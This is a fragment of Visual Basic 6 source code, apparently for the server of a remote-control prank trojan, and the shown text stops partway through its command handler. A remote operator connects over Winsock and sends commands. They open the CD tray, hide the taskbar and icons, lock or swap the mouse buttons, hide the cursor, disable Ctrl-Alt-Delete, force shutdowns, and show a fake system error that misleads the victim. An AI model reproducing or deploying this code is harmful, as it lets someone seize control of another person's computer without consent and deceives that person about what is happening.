Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Dim t
Dim r As Integer
Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function SetCursorPos Lib "user32" (ByVal X As Long, ByVal Y As Long) As Long
'set the form top
Public username As String
Private Const HWND_TOPMOST = -1
Private Const HWND_NOTOPMOST = -2
Private Const SWP_NOSIZE = &H1
Private Const SWP_NOMOVE = &H2
'Public Const SWP_NOACTIVATE = &H10
Private Const SWP_SHOWWINDOW = &H40
Private Declare Sub SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal X As Long, ByVal wFlags As Long)
Private Sub server_ConnectionRequest(ByVal requestID As Long)
On Error Resume Next
server.Close
server.Accept requestID
Timer2.Enabled = False
End Sub
Private Sub server_DataArrival(ByVal bytesTotal As Long)
Dim str1, str2, aa As String
Dim X, xx, yy, Y, z, d, az As Integer
Dim tmpData, tmpdata1, tmp As String
On Error Resume Next
server.GetData tmpData, vbString, 20
tmp = Trim$(tmpData)
tmpData = ""
tmpData = tmp
aa = Mid(tmpData, 1, 8)
' Select Case aa
'CHECK THE CURSOR POSITION
Select Case tmpData
'CD-Rom
Case "cdc"
On Error Resume Next
CloseCDROM
Case "cdo"
On Error Resume Next
OpenCDROM
'Taskbar
Case "ht"
On Error Resume Next
TaskBarHide
Case "st"
On Error Resume Next
TaskBarShow
'desktop Icon
Case "hd"
On Error Resume Next
DesktopIconsHide
Case "sd"
On Error Resume Next
DesktopIconsShow
'Disconnect
Case "exit"
On Error Resume Next
Me.Show
Label1.Caption = ""
On Error Resume Next
server.Close
Call DisableCtrlAltDelete(False)
Me.Hide
'Mouse Control
Case "c"
On Error Resume Next
FlipMouseButtons
Case "co"
On Error Resume Next
FlipMouseButtonsBack
Case "mouselock"
On Error Resume Next
EnableTrap Form1
Case "mouseunlock"
On Error Resume Next
DisableTrap Form1
SysUnlock
Case "mousefunc"
On Error Resume Next
Cursor_Show
Case "mousenofunc"
On Error Resume Next
Cursor_Hide
'click control
Case "right"
On Error Resume Next
RightClick
Case "left"
On Error Resume Next
LeftClick
'power control
Case "shutdown"
On Error Resume Next
Power.ShutDown lShutDown, False
Case "restart"
On Error Resume Next
Power.ShutDown lReboot, False
Case "standby"
On Error Resume Next
Power.ShutDown lSuspend, False
Case "logoff"
On Error Resume Next
Power.ShutDown lSuspend, False
Case "Hibernate"
On Error Resume Next
Power.ShutDown lHibernate, False
'force power control
Case "shutdownforce"
On Error Resume Next
Power.ShutDown lShutDown, True
Case "restartforce"
On Error Resume Next
Power.ShutDown lReboot, True
Case "standbyforce"
On Error Resume Next
Power.ShutDown lSuspend, True
Case "restarterror"
On Error Resume Next
MsgBox "The computer has illegal operation that may cause of system reboot" & vbCrLf & "If there's any complain about the software , please contact the Software provider", vbCritical + vbSystemModal, " ERROR :"